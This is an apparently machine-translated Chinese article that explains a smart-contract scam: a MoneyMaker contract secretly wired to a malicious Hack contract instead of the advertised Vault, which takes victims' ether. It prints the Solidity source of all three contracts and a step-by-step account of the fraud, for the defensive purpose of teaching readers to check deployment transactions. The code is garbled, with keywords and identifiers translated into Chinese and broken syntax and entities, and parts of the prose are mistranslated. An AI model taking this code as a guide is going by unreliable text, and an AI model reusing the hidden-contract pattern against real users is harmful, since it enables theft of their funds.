摘要
上一期我们学习了利用tx.origin钓鱼的攻击方法,本期我们将带您了解如何识别隐藏在合同中的恶意代码。
先例知识
大家还记得以前我们部署攻击契约的时候,会传入目标契约的地址,这样就可以在攻击契约中调用目标契约中的函数了吗?一些攻击者会利用这一点来欺骗受害者。比如部署一个A契约,告诉受害者我们会在部署A契约的构造函数中传入B契约的地址,并打开B契约的源代码,实际上我们在部署A契约时会传入C契约的地址。如果受害者完全信任我们没有检查部署A契约的交易,我们会将恶意代码完美隐藏在C契约中。我们可以从下图中理解这个逻辑:
用户的思维通话路径:
部署契约A传入契约B的地址,所以调用路径是正常的。
实际呼叫路径:
部署契约A传入契约C的地址,所以调用路径异常。
让我们用一个简单的例子来分析这个骗局:
恶意代码
//spdx-license-identifier:MIT pragma solidity ^0.8.13;合同赚钱人{ Vault vault构造函数(address _vault) { vault = Vault(应付款(_ Vault));}函数makeMoney(地址收件人)public payable { require(msg . value & gt;= 1,“你好可怜!”);uint 256 amount = msg . value * 2;(bool成功,)=地址(vault)。调用{value: msg.value,gas:2300 }(" ");要求(成功,“发送失败”);vault.transfer(收款人,金额);} }合同库{地址私人制造商;私人所有者地址;uint256 transferGasLimitconstructor()payable { owner = msg . sender;transferGasLimit = 2300} modifier only maker(){ require(msg . sender = = maker," Not MoneyMaker contract!");_;} modifier only owner(){ require(msg . sender = = owner," Not owner!");_;} function set macker(address _ maker)public only owner { maker = _ maker;}功能转移(地址接收者,uint256金额)外部OnlyMaker { require(金额& lt=地址(这个)。平衡,“游戏结束~”);(bool success,)= recipient.call{value: amount,gas:transferGasLimit }(" ");要求(成功,“发送失败”);} function with row()public only owner {(bool success,)= owner.call{ value: address(this)。balance,gas:transferGasLimit }(" ");要求(成功,“发送失败”);} receive()external payable { } fallback()external payable { } }//这段代码隐藏在单独的filecontract Hack { event嘲讽(string message);解决私恶;构造函数(address _ evil){ evil = _ evil;}修改器only evil(){ require(msg . sender = = evil,“你在做什么?”);_;}函数调用()public payable { emit嘲讽(“哈哈,你的乙醚是我的!”);}函数with row()public only evil {(bool success,)= evil.call{value: address(this)。平衡,气:2300 }(" ");要求(成功,“发送失败”);{接收()对外应付{}回退()对外应付{}}骗局分析
如您所见,上面的代码中有三个契约。我们先结合先验知识中的角色A、B、C,来区分三个契约分别代表什么角色:
MoneyMaker合同代表合同a;
保险库合同代表b合同;
黑客契约代表契约c。
所以用户认为调用路径是:
赚钱机器-& gt;跳马.
实际的调用路径是:
赚钱机器-& gt;黑掉.
让我们来看看攻击者是如何完成骗局的:
1.邪恶部署金库(B)契约并在契约中保留100 ETH资金,在链中打开金库(B)契约;
2.邪恶部署Hack(C)恶意契约;
3.Evil发布了一条消息,称他将部署一个开源的MoneyMaker(A)合同。部署时,他会传入Vault(B)契约的地址,并调用Vault.setMacker()将maker角色设置为moneymaker契约的地址。任何调用MoneyMaker.makeMoney()在契约中输入至少一个以太的人都会得到一个双以太返回。
4.鲍勃收到了这个消息,并了解到赚钱合同的存在。他阅读了MoneyMaker(A)和Vault(B)合同的代码,并检查了Vault(B)合同中的余额发现逻辑。正如Evil所说,他在没有检查MoneyMaker(A)部署事务的情况下就相信了Evil。
5.Bob调用MoneyMaker.makeMoney()将他的20 ETH的净值全部输入到合约中,但是当他期望从Vault(B)中收到40 ETH时,他在等待一个句子& # 8220;哈哈,你的乙醚是我的!”。
这是怎么回事?其实这个骗局很简单但是很常见。部署MoneyMaker契约时,Evil传入了Hack契约的地址,而不是Vault契约的地址。所以Bob调用MoneyMaker.makeMoney()时,并不是调用MoneyMaker.makeMoney()调用Vault.transfer()回调他的双以太,而是调用Hack.transfer()并抛出一个事件:& # 8221;哈哈,你的乙醚是我的!”。最后,Evil调用Vault.withrow()调用Vault契约中的100 ETH,通过Hack.withrow()调用Bob调用的20 ETH。
预防性建议
在以太坊的黑暗森林里,你只能相信自己。不要相信任何人的花言巧语。交易记录不会被伪造。只有在你核实了相应的交易后,你才能相信对方说的是正确的。
本网站声明:网站内容来源于网络。如有侵权,请联系我们,我们会及时处理。
温馨提示:注:内容来源均采集于互联网,不要轻信任何,后果自负,本站不承担任何责任。若本站收录的信息无意侵犯了贵司版权,请给我们来信(j7hr0a@163.com),我们会及时处理和回复。
原文地址"智能合约审计是什么意思,智能合约审计报告查询":http://www.guoyinggangguan.com/qkl/149554.html。

微信扫描二维码关注官方微信
▲长按图片识别二维码